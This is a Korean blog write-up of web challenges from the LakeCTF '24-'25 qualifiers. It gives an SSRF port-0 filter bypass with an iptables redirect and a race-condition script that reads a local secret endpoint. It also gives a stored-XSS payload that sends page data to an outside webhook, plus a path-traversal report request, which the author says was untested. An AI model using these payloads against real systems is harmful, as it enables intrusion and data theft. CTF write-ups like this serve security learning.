LakeCTF '24-'25 Quals
'our team name was stolen' 팀으로 Academic 부문 예선에서 10위를 기록하며 본선 진출에 성공했습니다.
평소에 풀던 웹 문제와는 달리 게싱적인 요소가 많아 어려움을 느꼈던 대회입니다 .. ㅠㅠ
웹 문제 전체 Write-Up을 작성하면 도움이 될 것 같아, 한 번 블로그에 정리해보려고 합니다.
o1
def proxy():
url = request.args.get('url', '')
if not url:
return 'Missing url parameter', 400
# Replace backslashes with slashes
url = url.replace('\\', '/')
print(url, flush=True)
parsed = urllib.parse.urlparse(url)
print(parsed, flush=True)
# Check for valid protocol
if parsed.scheme not in ['http', 'https']:
return 'invalid protocol', 400
# Check for custom port
if parsed.port:
return 'no custom port allowed', 400
def proxy():
data = request.get_json()
if not data or 'url' not in data:
return 'Missing url parameter', 400
url = data['url']
parsed = urllib.parse.urlparse(url)
scheme = parsed.scheme
hostname = parsed.hostname
port = parsed.port
# Determine the port if not explicitly specified
if port is None:
try:
port = socket.getservbyname(scheme)
except:
return 'Invalid scheme', 400
# Validate the target domain based on the port
if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
return 'invalid target domain!', 400
1번째와 2번째 필터는 모두 포트 검사를 수행하고 있으며, 이를 우회하는 것이 문제 해결의 핵심인 것으로 보입니다.
if parsed.port:
return 'no custom port allowed', 400
이 부분에서는 port가 0일 경우 항상 false로 처리되므로 이를 이용해 필터를 우회할 수 있습니다.
if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
return 'invalid target domain!', 400
이 부분에서는 포트가 443 또는 80일 때만 확인하도록 되어 있으므로, 포트를 0으로 설정하면 두 조건을 모두 우회할 수 있습니다.
iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80
그리고 위 iptables 설정으로 포트 0으로 설정된 요청을 정상적인 HTTP 요청으로 처리할 수 있게 했습니다.
Payload
curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<your-server>:0"
해당 문제는 socket.getservbyname()로 인해 Race Condition을 이용해 해결할 수도 있습니다.
https://github.com/python/cpython/issues/74667#issuecomment-1093749466
socket.getservbyname(), socket.getservbyport(), socket.getprotobyname() are not threadsafe · Issue #74667 · python/cpython
BPO 30482 Nosy @pitrou, @vstinner, @njsmith, @dwfreed Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state. Show more details GitHub...
github.com
Payload
import aiohttp
import asyncio
async def req_example():
url = "https://challs.polygl0ts.ch:9222/proxy?url=https://example.com"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
await response.text()
async def req_secret():
url = "https://challs.polygl0ts.ch:9222/proxy?url=http:/localhost:9222/secret"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
print(await response.text())
loop = asyncio.get_event_loop()
while True:
loop.run_until_complete(asyncio.gather(req_example(), req_secret()))
yascc
if(!error){
res.header("content-type", query.contentType)
}
위 코드를 통해 사용자는 Content-Type 헤더를 자유롭게 조작할 수 있으며, 예를 들어 text/javascript로 변경하여 다음과 같은 post를 작성할 수 있습니다.
(async () => {let x = await fetch("/api/posts/1/body").then(res => res.text()); window.location="https://webhook.site/x/"+btoa(x)%7D)()
위 자바스크립트 코드를 실행하기 위해서는 다음과 같이 post를 작성하면 됩니다. CSP 헤더를 확인해보면 default-src가 self로 설정되어 있어 동일 출처에서만 리소스를 허용하기 때문에 실행이 가능합니다.
<script src="/api/posts/1750/body?contentType=application/javascript"></script>
Final Payload
curl -X POST "https://challs.polygl0ts.ch:8333/posts/1%2F..%2F..%2Fapi%2Fposts%2F<id>%2Fbody/report"
( 아직 실제로 익스플로잇을 시도해보지 않았으므로, 로컬 환경에서 테스트를 진행해볼 예정입니다. )